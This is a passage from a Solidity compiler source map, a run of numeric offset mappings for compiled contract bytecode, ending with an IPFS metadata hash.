270;;;4839:3;4689:422;;;;;:::o;5116:806::-;5165:5;5195:8;5185:80;;-1:-1:-1;5236:1:1;5250:5;;5185:80;5284:4;5274:76;;-1:-1:-1;5321:1:1;5335:5;;5274:76;5366:4;5384:1;5379:59;;;;5452:1;5447:130;;;;5359:218;;5379:59;5409:1;5400:10;;5423:5;;;5447:130;5484:3;5474:8;5471:17;5468:43;;;5491:18;;:::i;:::-;-1:-1:-1;;5547:1:1;5533:16;;5562:5;;5359:218;;5661:2;5651:8;5648:16;5642:3;5636:4;5633:13;5629:36;5623:2;5613:8;5610:16;5605:2;5599:4;5596:12;5592:35;5589:77;5586:159;;;-1:-1:-1;5698:19:1;;;5730:5;;5586:159;5777:34;5802:8;5796:4;5777:34;:::i;:::-;5847:6;5843:1;5839:6;5835:19;5826:7;5823:32;5820:58;;;5858:18;;:::i;:::-;5896:20;;5116:806;-1:-1:-1;;;5116:806:1:o;5927:140::-;5985:5;6014:47;6055:4;6045:8;6041:19;6035:4;6014:47;:::i;6072:168::-;6145:9;;;6176;;6193:15;;;6187:22;;6173:37;6163:71;;6214:18;;:::i;6245:356::-;6447:2;6429:21;;;6466:18;;;6459:30;6525:34;6520:2;6505:18;;6498:62;6592:2;6577:18;;6245:356::o;7983:306::-;8071:6;8079;8087;8140:2;8128:9;8119:7;8115:23;8111:32;8108:52;;;8156:1;8153;8146:12;8108:52;8185:9;8179:16;8169:26;;8235:2;8224:9;8220:18;8214:25;8204:35;;8279:2;8268:9;8264:18;8258:25;8248:35;;7983:306;;;;;:::o;8573:277::-;8640:6;8693:2;8681:9;8672:7;8668:23;8664:32;8661:52;;;8709:1;8706;8699:12;8661:52;8741:9;8735:16;8794:5;8787:13;8780:21;8773:5;8770:32;8760:60;;8816:1;8813;8806:12;8855:127;8916:10;8911:3;8907:20;8904:1;8897:31;8947:4;8944:1;8937:15;8971:4;8968:1;8961:15;8987:135;9026:3;9047:17;;;9044:43;;9067:18;;:::i;:::-;-1:-1:-1;9114:1:1;9103:13;;8987:135::o;11521:125::-;11586:9;;;11607:10;;;11604:36;;;11620:18;;:::i;12006:128::-;12073:9;;;12094:11;;;12091:37;;;12108:18;;:::i;12139:217::-;12179:1;12205;12195:132;;12249:10;12244:3;12240:20;12237:1;12230:31;12284:4;12281:1;12274:15;12312:4;12309:1;12302:15;12195:132;-1:-1:-1;12341:9:1;;12139:217::o;12763:251::-;12833:6;12886:2;12874:9;12865:7;12861:23;12857:32;12854:52;;;12902:1;12899;12892:12;12854:52;12934:9;12928:16;12953:31;12978:5;12953:31;:::i;13019:980::-;13281:4;13329:3;13318:9;13314:19;13360:6;13349:9;13342:25;13386:2;13424:6;13419:2;13408:9;13404:18;13397:34;13467:3;13462:2;13451:9;13447:18;13440:31;13491:6;13526;13520:13;13557:6;13549;13542:22;13595:3;13584:9;13580:19;13573:26;;13634:2;13626:6;13622:15;13608:29;;13655:1;13665:195;13679:6;13676:1;13673:13;13665:195;;;13744:13;;-1:-1:-1;;;;;13740:39:1;13728:52;;13835:15;;;;13800:12;;;;13776:1;13694:9;13665:195;;;-1:-1:-1;;;;;;;13916:32:1;;;;13911:2;13896:18;;13889:60;-1:-1:-1;;;13980:3:1;13965:19;13958:35;13877:3;13019:980;-1:-1:-1;;;13019:980:1:o

ipfs://eddfe8de63c090502cbef2fc1d769d57c753116c91a936f72f2a0fba2a8803bd